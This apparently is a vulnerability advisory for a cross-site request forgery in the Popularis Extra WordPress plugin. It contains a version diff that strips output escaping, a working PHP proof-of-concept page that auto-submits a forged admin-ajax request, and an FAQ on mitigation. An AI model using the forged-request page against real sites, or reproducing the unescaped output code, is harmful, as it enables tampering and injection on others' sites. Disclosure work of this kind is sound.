-				'type'    => Controls_Manager::CHOOSE,
-				'options' => array(
-					'h1' => array(
-						'title' => __( 'H1', 'popularis-extra' ),
-						'icon'  => 'eicon-editor-h1',
-					),
-					'h2' => array(
-						'title' => __( 'H2', 'popularis-extra' ),
-						'icon'  => 'eicon-editor-h2',
-					),
-					'h3' => array(
-						'title' => __( 'H3', 'popularis-extra' ),
-						'icon'  => 'eicon-editor-h3',
-					),
-					'h4' => array(
-						'title' => __( 'H4', 'popularis-extra' ),
-						'icon'  => 'eicon-editor-h4',
-					),
-					'h5' => array(
-						'title' => __( 'H5', 'popularis-extra' ),
-						'icon'  => 'eicon-editor-h5',
-					),
-					'h6' => array(
-						'title' => __( 'H6', 'popularis-extra' ),
-						'icon'  => 'eicon-editor-h6',
-					),
-				),
-				'default' => 'h2',
-				'toggle'  => false,
-			)
-		);
-
-		$this->add_responsive_control(
-			'box_align',
-			array(
-				'label'     => __( 'Alignment', 'popularis-extra' ),
-				'type'      => Controls_Manager::CHOOSE,
-				'options'   => array(
-					'left'   => array(
-						'title' => __( 'Left', 'popularis-extra' ),
-						'icon'  => 'eicon-h-align-left',
-					),
-					'center' => array(
-						'title' => __( 'Center', 'popularis-extra' ),
-						'icon'  => 'eicon-h-align-center',
-					),
-					'right'  => array(
-						'title' => __( 'Right', 'popularis-extra' ),
-						'icon'  => 'eicon-h-align-right',
-					),
-				),
-				'toggle'    => true,
-				'selectors' => array(
-					'{{WRAPPER}} .popularis-extra-simple-heading-wrapper' => 'text-align: {{VALUE}};',
-				),
-			)
-		);
-
-		$this->end_controls_section();
-
-		//Title Style
-		$this->start_controls_section(
-			'section_style_title',
-			array(
-				'label' => __( 'Title', 'popularis-extra' ),
-				'tab'   => Controls_Manager::TAB_STYLE,
-			)
-		);
-
-		$this->add_group_control(
-			Group_Control_Typography::get_type(),
-			array(
-				'name'     => 'title_typography',
-				'label'    => __( 'Typography', 'popularis-extra' ),
-				'selector' => '{{WRAPPER}} .popularis-extra-heading-title',
-			)
-		);
-
-		$this->add_control(
-			'title_text_color', array(
-				'label'		 => __( 'Text Color', 'popularis-extra' ),
-				'type'		 => Controls_Manager::COLOR,
-				'selectors'	 => array(
-					'{{WRAPPER}} .popularis-extra-heading-title'		 => 'color: {{VALUE}};',
-				),
-			)
-		);
-
-		$this->add_control(
-			'title_stroke',
-			array(
-				'label'        => __( 'Text Stroke', 'popularis-extra' ),
-				'type'         => Controls_Manager::POPOVER_TOGGLE,
-				'label_off'    => __( 'None', 'popularis-extra' ),
-				'label_on'     => __( 'Custom', 'popularis-extra' ),
-				'return_value' => 'yes',
-			)
-		);
-
-		$this->start_popover();
-
-		$this->add_control(
-			'stroke_width',
-			array(
-				'label'      => __( 'Stroke Width', 'popularis-extra' ),
-				'type'       => Controls_Manager::SLIDER,
-				'size_units' => array( 'px', 'em', 'rem' ),
-				'range'      => array(
-					'px' => array(
-						'min'  => 0,
-						'max'  => 10,
-						'step' => 1,
-					),
-				),
-				'default'    => array(
-					'unit' => 'px',
-					'size' => 1,
-				),
-				'selectors'  => array(
-					'{{WRAPPER}} .popularis-extra-heading-title' => '-webkit-text-stroke-width: {{SIZE}}{{UNIT}};',
-				),
-				'condition'  => array(
-					'title_stroke' => 'yes',
-				),
-			)
-		);
-
-		$this->add_control(
-			'stroke_color',
-			array(
-				'label'     => __( 'Stroke Color', 'popularis-extra' ),
-				'type'      => Controls_Manager::COLOR,
-				'selectors' => array(
-					'{{WRAPPER}} .popularis-extra-heading-title' => '-webkit-text-stroke-color: {{VALUE}};',
-				),
-				'condition' => array(
-					'title_stroke' => 'yes',
-				),
-			)
-		);
-
-		$this->end_popover();
-
-		$this->add_group_control(
-			Group_Control_Text_Shadow::get_type(),
-			array(
-				'name'     => 'text_shadow',
-				'selector' => '{{WRAPPER}} .popularis-extra-heading-title',
-			)
-		);
-
-		$this->add_control(
-			'blend_mode',
-			array(
-				'label'     => esc_html__( 'Blend Mode', 'popularis-extra' ),
-				'type'      => Controls_Manager::SELECT,
-				'options'   => array(
-					''            => esc_html__( 'Normal', 'popularis-extra' ),
-					'multiply'    => 'Multiply',
-					'screen'      => 'Screen',
-					'overlay'     => 'Overlay',
-					'darken'      => 'Darken',
-					'lighten'     => 'Lighten',
-					'color-dodge' => 'Color Dodge',
-					'saturation'  => 'Saturation',
-					'color'       => 'Color',
-					'difference'  => 'Difference',
-					'exclusion'   => 'Exclusion',
-					'hue'         => 'Hue',
-					'luminosity'  => 'Luminosity',
-				),
-				'selectors' => array(
-					'{{WRAPPER}} .popularis-extra-heading-title' => 'mix-blend-mode: {{VALUE}}',
-				),
-				'separator' => 'none',
-			)
-		);
-
-		$this->end_controls_section();
-
-		//Center Title Style
-		$this->start_controls_section(
-			'section_style_center_title',
-			array(
-				'label' => __( 'Center Title', 'popularis-extra' ),
-				'tab'   => Controls_Manager::TAB_STYLE,
-			)
-		);
-
-		$this->add_group_control(
-			Group_Control_Typography::get_type(),
-			array(
-				'name'     => 'center_title_typography',
-				'label'    => __( 'Typography', 'popularis-extra' ),
-				'selector' => '{{WRAPPER}} .popularis-extra-title-focus',
-			)
-		);
-
-		$this->add_control(
-			'center_text_color', array(
-				'label'		 => __( 'Text Color', 'popularis-extra' ),
-				'type'		 => Controls_Manager::COLOR,
-				'selectors'	 => array(
-					'{{WRAPPER}} .popularis-extra-title-focus'		 => 'color: {{VALUE}};',
-				),
-			)
-		);
-
-		$this->add_control(
-			'center_title_stroke',
-			array(
-				'label'        => __( 'Text Stroke', 'popularis-extra' ),
-				'type'         => Controls_Manager::POPOVER_TOGGLE,
-				'label_off'    => __( 'None', 'popularis-extra' ),
-				'label_on'     => __( 'Custom', 'popularis-extra' ),
-				'return_value' => 'yes',
-			)
-		);
-
-		$this->start_popover();
-
-		$this->add_control(
-			'center_stroke_width',
-			array(
-				'label'      => __( 'Stroke Width', 'popularis-extra' ),
-				'type'       => Controls_Manager::SLIDER,
-				'size_units' => array( 'px', 'em', 'rem' ),
-				'range'      => array(
-					'px' => array(
-						'min'  => 0,
-						'max'  => 10,
-						'step' => 1,
-					),
-				),
-				'default'    => array(
-					'unit' => 'px',
-					'size' => 1,
-				),
-				'selectors'  => array(
-					'{{WRAPPER}} .popularis-extra-title-focus' => '-webkit-text-stroke-width: {{SIZE}}{{UNIT}};',
-				),
-				'condition'  => array(
-					'center_title_stroke' => 'yes',
-				),
-			)
-		);
-
-		$this->add_control(
-			'center_stroke_color',
-			array(
-				'label'     => __( 'Stroke Color', 'popularis-extra' ),
-				'type'      => Controls_Manager::COLOR,
-				'selectors' => array(
-					'{{WRAPPER}} .popularis-extra-title-focus' => '-webkit-text-stroke-color: {{VALUE}};',
-				),
-				'condition' => array(
-					'center_title_stroke' => 'yes',
-				),
-			)
-		);
-
-		$this->end_popover();
-
-		$this->add_group_control(
-			Group_Control_Text_Shadow::get_type(),
-			array(
-				'name'     => 'center_title_text_shadow',
-				'selector' => '{{WRAPPER}} .popularis-extra-title-focus',
-			)
-		);
-
-		$this->add_control(
-			'center_title_blend_mode',
-			array(
-				'label'     => esc_html__( 'Blend Mode', 'popularis-extra' ),
-				'type'      => Controls_Manager::SELECT,
-				'options'   => array(
-					''            => esc_html__( 'Normal', 'popularis-extra' ),
-					'multiply'    => 'Multiply',
-					'screen'      => 'Screen',
-					'overlay'     => 'Overlay',
-					'darken'      => 'Darken',
-					'lighten'     => 'Lighten',
-					'color-dodge' => 'Color Dodge',
-					'saturation'  => 'Saturation',
-					'color'       => 'Color',
-					'difference'  => 'Difference',
-					'exclusion'   => 'Exclusion',
-					'hue'         => 'Hue',
-					'luminosity'  => 'Luminosity',
-				),
-				'selectors' => array(
-					'{{WRAPPER}} .popularis-extra-title-focus' => 'mix-blend-mode: {{VALUE}}',
-				),
-				'separator' => 'none',
-			)
-		);
-
-		$this->add_group_control(
-			Group_Control_Border::get_type(),
-			array(
-				'name'     => 'center_title_border',
-				'label'    => __( 'Border', 'popularis-extra' ),
-				'selector' => '{{WRAPPER}} .popularis-extra-title-focus',
-			)
-		);
-
-		$this->add_responsive_control(
-			'center_title_border_radius',
-			array(
-				'label'      => __( 'Border Radius', 'popularis-extra' ),
-				'type'       => Controls_Manager::DIMENSIONS,
-				'size_units' => array( 'px', '%' ),
-				'selectors'  => array(
-					'{{WRAPPER}} .popularis-extra-title-focus' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
-				),
-			)
-		);
-
-		$this->add_responsive_control(
-			'center_title_padding',
-			array(
-				'label'      => __( 'Padding', 'popularis-extra' ),
-				'type'       => Controls_Manager::DIMENSIONS,
-				'size_units' => array( 'px', '%', 'em' ),
-				'selectors'  => array(
-					'{{WRAPPER}} .popularis-extra-title-focus' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
-				),
-			)
-		);
-
-		$this->end_controls_section();
-	}
-
-	/**
-	 * Render image widget output on the frontend.
-	 *
-	 * Written in PHP and used to generate the final HTML.
-	 *
-	 * @since 1.0.0
-	 * @access protected
-	 */
-	protected function render() {
-
-		$settings = $this->get_settings_for_display();
-		?>
-
-		<div class="popularis-extra-heading-wrapper popularis-extra-simple-heading-wrapper">
-			<?php echo wp_kses_post($this->render_title()); ?>
-		</div>
-		<?php
-	}
-}
--- a/popularis-extra/library/extra-elementor/elementor-widgets/posts.php
+++ b/popularis-extra/library/extra-elementor/elementor-widgets/posts.php
@@ -4,6 +4,7 @@
 }

 use ElementorControls_Manager;
+use ElementorScheme_Color;
 use ElementorWidget_Base;
 use ElementorGroup_Control_Typography;
 use ElementorCoreKitsDocumentsTabsGlobal_Typography;
@@ -34,7 +35,7 @@
         return ['basic'];
     }

-    protected function register_controls() {
+    protected function _register_controls() {
         $this->start_controls_section(
                 'section_blog',
                 [
@@ -134,6 +135,7 @@
                 [
                     'name' => 'post_title_typography',
                     'selector' => '{{WRAPPER}} .latest-news-wrapper h4',
+                    'scheme' => Global_Typography::TYPOGRAPHY_SECONDARY,
                 ]
         );

@@ -163,6 +165,7 @@
                 [
                     'name' => 'content_typography',
                     'selector' => '{{WRAPPER}} .latest-news-wrapper .news-item .post-excerpt',
+                    'scheme' => Global_Typography::TYPOGRAPHY_SECONDARY,
                 ]
         );

@@ -233,7 +236,7 @@
                             <?php the_title(sprintf('<h4 class="entry-title"><a href="%s" rel="bookmark">', esc_url(get_permalink())), '</a></h4>'); ?>
                             <div class="f-line"></div>
                             <div class="post-excerpt">
-                                <?php echo wp_kses_post(wp_trim_words(wp_strip_all_tags(get_the_excerpt()), $limit)); ?>
+                                <?php echo wp_trim_words(wp_strip_all_tags(get_the_excerpt()), $limit); ?>
                             </div>
                         </article>
                     <?php endwhile; ?>
--- a/popularis-extra/library/extra-elementor/elementor-widgets/text-block.php
+++ b/popularis-extra/library/extra-elementor/elementor-widgets/text-block.php
@@ -38,7 +38,7 @@
         ];
     }

-    protected function register_controls() {
+    protected function _register_controls() {

         $this->start_controls_section(
                 'content_section',
@@ -137,6 +137,7 @@
                 [
                     'name' => 'content_typography',
                     'label' => __('Typography', 'popularis-extra'),
+                    'scheme' => Global_Typography::TYPOGRAPHY_SECONDARY,
                     'selector' => '{{WRAPPER}} .popularis_extra_adv_text_block .text-content-block,{{WRAPPER}} .popularis_extra_adv_text_block .text-content-block p',
                 ]
         );
@@ -255,16 +256,13 @@

         $settings = $this->get_settings_for_display();
         $content = $settings['content_description'];
-        $block = Utils::validate_html_tag( $settings['header_size']);
+        $block = $settings['header_size'];

         $animation_effects = $settings["animation_effects"];
-        $animation_delay = '';
-        if ($settings["animation_effects"] != 'no-animation') {
-            $animation_delay = isset($settings["animation_delay"]["size"]) ? $settings["animation_delay"]["size"] : '50';
-        }
+        $animation_delay = $settings["animation_delay"]["size"];
         $animate_duration = '';
         if ($settings["animation_duration_default"] == 'yes') {
-            $animate_duration = isset($settings["animate_duration"]["size"]) ? $settings["animate_duration"]["size"] : '50';
+            $animate_duration = $settings["animate_duration"]["size"];
         }
         if ($animation_effects == 'no-animation') {
             $animated_class = '';
@@ -277,11 +275,11 @@
             }
         }

-        $text_block = '<div class="popularis_extra_adv_text_block ' . esc_attr($animated_class) . '" ' . esc_attr($animation_attr) . '>';
-        $text_block .= '<' . esc_html($block) . ' class="text-content-block">';
-        $text_block .= wp_kses_post($content);
+        $text_block = '<div class="popularis_extra_adv_text_block ' . $animated_class . '" ' . $animation_attr . '>';
+        $text_block .= '<' . $block . ' class="text-content-block">';
+        $text_block .= $content;
         $text_block .= '</div>';
-        $text_block .= '</' . esc_html($block) . '>';
+        $text_block .= '</' . $block . '>';

         echo $text_block;
     }
--- a/popularis-extra/popularis-extra.php
+++ b/popularis-extra/popularis-extra.php
@@ -4,10 +4,12 @@
  * Plugin Name: Popularis Extra
  * Plugin URI: https://populariswp.com/
  * Description: Extra addon for Popularis Theme
- * Version: 1.2.10
+ * Version: 1.1.2
  * Author: Themes4WP
  * Author URI: https://themes4wp.com/
  * License: GPL-2.0+
+ * WC requires at least: 3.3.0
+ * WC tested up to: 5.6
  */
 // Exit if accessed directly.
 if (!defined('ABSPATH')) {
@@ -31,7 +33,7 @@
 define('POPULARIS_EXTRA_PLUGIN_URL', plugins_url('/', __FILE__));


-add_action('init', 'popularis_extra_load_textdomain');
+add_action('plugins_loaded', 'popularis_extra_load_textdomain');

 function popularis_extra_load_textdomain() {
     load_plugin_textdomain('popularis-extra', false, basename(dirname(__FILE__)) . '/languages/');
@@ -92,7 +94,7 @@
  * Register demo import
  */
 $theme = wp_get_theme();
-if ('Popularis' == $theme->name || 'popularis' == $theme->template || 'Popularis eCommerce' == $theme->name || 'popularis-ecommerce' == $theme->template ) {
+if ('Popularis' == $theme->name || 'popularis' == $theme->template ) {
     require_once( POPULARIS_EXTRA_PATH . 'includes/panel/demos.php' );
     require_once( POPULARIS_EXTRA_PATH . 'includes/wizard/wizard.php' );
     require_once( POPULARIS_EXTRA_PATH . 'includes/notify/notify.php' );
@@ -120,7 +122,6 @@


 add_action('admin_init', 'popularis_extra_plugin_redirect');
-add_action( 'after_switch_theme', 'popularis_extra_plugin_redirect' );

 /**
  * Redirect after plugin activation
@@ -148,11 +149,4 @@
 }

 remove_filter( 'wp_import_post_meta', 'ElementorCompatibility::on_wp_import_post_meta');
-remove_filter( 'wxr_importer.pre_process.post_meta', 'ElementorCompatibility::on_wxr_importer_pre_process_post_meta');
-
-// Declare support for features
-add_action( 'before_woocommerce_init', function () {
-	if ( class_exists( AutomatticWooCommerceUtilitiesFeaturesUtil::class ) ) {
-		AutomatticWooCommerceUtilitiesFeaturesUtil::declare_compatibility( 'custom_order_tables', __FILE__, true );
-	}
-} );
 No newline at end of file
+remove_filter( 'wxr_importer.pre_process.post_meta', 'ElementorCompatibility::on_wxr_importer_pre_process_post_meta');
 No newline at end of file

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-25422 - Popularis Extra <= 1.2.10 - Cross-Site Request Forgery

<?php
/**
 * Proof of Concept for CVE-2026-25422.
 * This script generates an HTML page that, when visited by a logged-in WordPress administrator,
 * will automatically submit a forged AJAX request to dismiss a specific notice.
 * The target URL must be configured below.
 */

// CONFIGURATION
$target_url = 'http://vulnerable-site.local/wp-admin/admin-ajax.php'; // Change this to the target WordPress site
$action = 'popularis_extra_dismiss_notice';
$notice_param = 'popularis_extra_active_pro_time_business'; // The notice to dismiss

?>
<!DOCTYPE html>
<html>
<head>
    <title>Atomic Edge CSRF PoC - CVE-2026-25422</title>
</head>
<body>
    <h2>CSRF Proof of Concept</h2>
    <p>If a logged-in administrator views this page, a forged request will be sent to the target.</p>
    <p>Target: <?php echo htmlspecialchars($target_url); ?></p>
    
    <!-- Hidden form that auto-submits on page load -->
    <form id="csrf_form" action="<?php echo htmlspecialchars($target_url); ?>" method="POST">
        <input type="hidden" name="action" value="<?php echo htmlspecialchars($action); ?>" />
        <input type="hidden" name="notice" value="<?php echo htmlspecialchars($notice_param); ?>" />
        <!-- Note: The vulnerable version does not require a 'nonce' parameter -->
    </form>
    
    <script>
        // Automatically submit the form when the page loads
        window.onload = function() {
            document.getElementById('csrf_form').submit();
        };
    </script>
</body>
</html>

Frequently Asked Questions

What is CVE-2026-25422?
Understanding the vulnerability
CVE-2026-25422 is a Cross-Site Request Forgery (CSRF) vulnerability found in the Popularis Extra plugin for WordPress, affecting versions up to and including 1.2.10. It allows unauthenticated attackers to perform unauthorized actions by tricking a site administrator into clicking a malicious link.
How does the vulnerability work?
Mechanism of exploitation
The vulnerability arises from missing nonce validation in the AJAX handler for dismissing admin notices. An attacker can craft a malicious webpage that sends a forged request to the WordPress site, executing actions with the privileges of an authenticated administrator.
Who is affected by this vulnerability?
Identifying impacted users
Any WordPress site using the Popularis Extra plugin version 1.2.10 or earlier is vulnerable. Site administrators should check their plugin version to determine if they are at risk.
How can I check if my site is vulnerable?
Version verification steps
To check if your site is vulnerable, navigate to the Plugins section in your WordPress admin dashboard and locate the Popularis Extra plugin. If the version is 1.2.10 or earlier, your site is at risk.
How can I fix this vulnerability?
Updating the plugin
To mitigate the vulnerability, update the Popularis Extra plugin to version 1.4.1 or later, where the nonce validation has been properly implemented. Regularly check for updates to ensure ongoing security.
What does the CVSS score of 4.3 indicate?
Understanding the severity level
The CVSS score of 4.3 indicates a medium severity level for this vulnerability. This means that while exploitation is possible, it requires social engineering tactics to succeed, and the impact is limited to specific administrative actions.
What is nonce validation and why is it important?
Security mechanism explanation
Nonce validation is a security measure used in WordPress to verify that requests made to the server are legitimate and originate from the authenticated user interface. It helps prevent CSRF attacks by ensuring that unauthorized requests cannot be executed.
What are the practical risks of this vulnerability?
Potential impacts on site administrators
The practical risks include the possibility of an attacker dismissing important admin notices, such as update reminders or promotional messages. While this does not allow for data theft or privilege escalation, it can disrupt site management.
How does the proof of concept demonstrate the vulnerability?
Understanding the provided example
The proof of concept shows how an attacker can create a webpage that, when visited by a logged-in administrator, automatically submits a forged AJAX request to dismiss a specific notice. This illustrates the ease of exploitation due to the lack of nonce checks.
What should I do if I cannot update the plugin immediately?
Temporary mitigation steps
If immediate updates are not possible, consider disabling the Popularis Extra plugin until a secure version can be installed. Additionally, educate your site administrators about the risks of clicking on untrusted links.
Are there any other security measures I should implement?
Enhancing overall site security
In addition to updating vulnerable plugins, consider implementing security plugins that offer CSRF protection, regularly auditing your site’s security settings, and educating users about safe browsing practices to minimize risks.
Where can I find more information about this vulnerability?
Resources for further reading
More information can be found in the official CVE database, security advisories from WordPress, and the plugin’s changelog. Additionally, security blogs and forums often discuss vulnerabilities and their implications.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations